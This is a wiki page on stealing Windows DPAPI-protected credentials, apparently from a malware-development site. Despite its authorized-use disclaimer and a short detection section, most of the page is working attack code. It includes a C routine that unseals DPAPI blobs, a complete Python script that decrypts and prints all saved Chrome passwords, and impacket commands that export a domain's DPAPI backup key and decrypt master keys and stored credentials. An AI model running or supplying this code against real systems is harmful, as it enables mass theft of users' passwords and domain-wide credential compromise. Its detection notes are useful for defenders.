Skip to content
λmaldev wiki/
pagesDPAPI Credential Theft
T1555.004WindowsPythonC / C++DPAPI

DPAPI Credential Theft

updated 2026-08-048 min readthehackersbrain
Authorized use only. This material is published for detection engineering, malware analysis and authorized red-team engagements. Running these techniques against systems you do not own or have written permission to test is illegal.

Overview

The Data Protection API (DPAPI) is Windows’s built-in secrets manager: applications call CryptProtectData to seal arbitrary bytes, and CryptUnprotectData to unseal them. The sealing key is derived from the user’s password (and optionally an optional entropy value), stored as a master key in the user’s profile.

Attackers target DPAPI because almost every credential store on Windows uses it: Chrome, Edge, Firefox, RDP saved passwords, Wi-Fi keys, Outlook passwords, and the Windows Credential Manager. Compromising DPAPI gives access to all of these without cracking anything — just decrypting.

Note.

If you are running as the target user in their active session, CryptUnprotectData decrypts DPAPI blobs transparently — no key material needed. The offline path (extracting master keys) is only necessary when the user is not logged on or when operating from a different account.

The call chain

  1. 1
    locate DPAPI master key files
    Master keys live in %APPDATA%\Microsoft\Protect\<SID>\ — one file per encryption epoch.
  2. 2
    CryptUnprotectData (same session)
    If running as the target user in an active session, Windows decrypts transparently.
  3. 3
    acquire domain backup key (offline path)
    Domain-joined machines backup master keys to the DC. Retrieve the domain DPAPI backup key with Mimikatz or lsadump.
  4. 4
    decrypt master key, then blob
    Use the master key or the domain backup key to decrypt the target DPAPI blob offline.

Reference implementation

In-session decryption (C — same user, same session)

dpapi_decrypt.cC
#include <windows.h>
#include <wincrypt.h>
#pragma comment(lib, "crypt32.lib")

// Decrypt a DPAPI blob in the current user's session
// Windows handles master key lookup transparently
BOOL dpapi_decrypt(const BYTE *blob, DWORD blob_len,
                 BYTE **out, DWORD *out_len) {
  DATA_BLOB cipher = { blob_len, (BYTE*)blob };
  DATA_BLOB plain  = {0};

  if (!CryptUnprotectData(&cipher,
                          NULL,   // description
                          NULL,   // optional entropy
                          NULL,   // reserved
                          NULL,   // no UI prompt
                          0,
                          &plain))
      return FALSE;

  *out     = plain.pbData;   // caller frees with LocalFree
  *out_len = plain.cbData;
  return TRUE;
}

Chrome Login Data extraction (Python)

chrome_passwords.pyPython
import os, sqlite3, shutil, json, base64
import win32crypt
from Crypto.Cipher import AES

def get_encryption_key():
  """Extract Chrome's AES key (itself DPAPI-protected)."""
  local_state_path = os.path.join(
      os.environ["USERPROFILE"],
      "AppData", "Local", "Google", "Chrome",
      "User Data", "Local State")
  with open(local_state_path, "r", encoding="utf-8") as f:
      local_state = json.load(f)
  encrypted_key = base64.b64decode(
      local_state["os_crypt"]["encrypted_key"])[5:]  # strip DPAPI prefix
  # Decrypt the AES key with DPAPI
  return win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]

def decrypt_password(ciphertext, key):
  """Decrypt a Chrome v10+ encrypted password."""
  iv   = ciphertext[3:15]
  ct   = ciphertext[15:]
  cipher = AES.new(key, AES.MODE_GCM, iv)
  return cipher.decrypt(ct)[:-16].decode()  # strip GCM tag

def dump_chrome_passwords():
  db_path = os.path.join(
      os.environ["USERPROFILE"],
      "AppData", "Local", "Google", "Chrome",
      "User Data", "Default", "Login Data")
  tmp = db_path + ".tmp"
  shutil.copy2(db_path, tmp)   # copy because Chrome locks the original

  key  = get_encryption_key()
  conn = sqlite3.connect(tmp)
  for url, user, pw in conn.execute(
          "SELECT origin_url, username_value, password_value FROM logins"):
      if pw[:3] == b'v10':
          pw = decrypt_password(pw, key)
      print(f"{url} | {user} | {pw}")
  conn.close()
  os.remove(tmp)

dump_chrome_passwords()

Offline master key decryption (impacket)

offline_dpapi.shshell
# Collect master key files and SYSTEM/SECURITY hives from the target
# (or use secretsdump to get the domain DPAPI backup key)

# 1. Get the domain DPAPI backup key (requires Domain Admin)
$ python3 dpapi.py backupkeys --export -t corp.local/Administrator:Password1@dc01

# 2. Decrypt user master key with domain backup key
$ python3 dpapi.py masterkey   -file MK_{guid}   -pvk domain_backup.pvk

# 3. Decrypt a DPAPI blob using the decrypted master key
$ python3 dpapi.py credential   -file "C:/Users/jsmith/AppData/Local/Microsoft/Credentials/{blob}"   -key <masterkey_hex>

What DPAPI protects

Application Protected data Blob location
Chrome / Edge Saved passwords, cookies, payment info %LOCALAPPDATA%\Google\Chrome\...
Internet Explorer / Edge Legacy Saved passwords %LOCALAPPDATA%\Microsoft\Credentials\
RDP Client Saved server passwords %LOCALAPPDATA%\Microsoft\Credentials\
Windows Credential Manager Generic / Windows credentials %LOCALAPPDATA%\Microsoft\Credentials\
Wi-Fi passwords WPA pre-shared keys %PROGRAMDATA%\Microsoft\Wlansvc\Profiles\
Outlook SMTP/IMAP account passwords Registry under HKCU\Software\Microsoft\Office

Detection

SYSMON EID 10
Cross-process access to lsass.exe to extract cached master keys or the domain DPAPI backup key.
WINDOWS EID 4692
Backup of the DPAPI master key — logged when the master key escrow occurs to the DC.
BEHAVIOURAL
dpapi::masterkey or dpapi::chrome commands in a process command line; or CryptUnprotectData called from a non-browser process on browser credential paths.
FILE
Bulk read of %APPDATA%\Microsoft\Protect\ and browser Login Data files by a non-browser process.

The domain DPAPI backup key is the most impactful target: it decrypts any master key in the domain, past and present. EID 4692 is generated when this key is escrowed and should be part of any domain controller alert baseline.

Was this page useful?edit this page ↗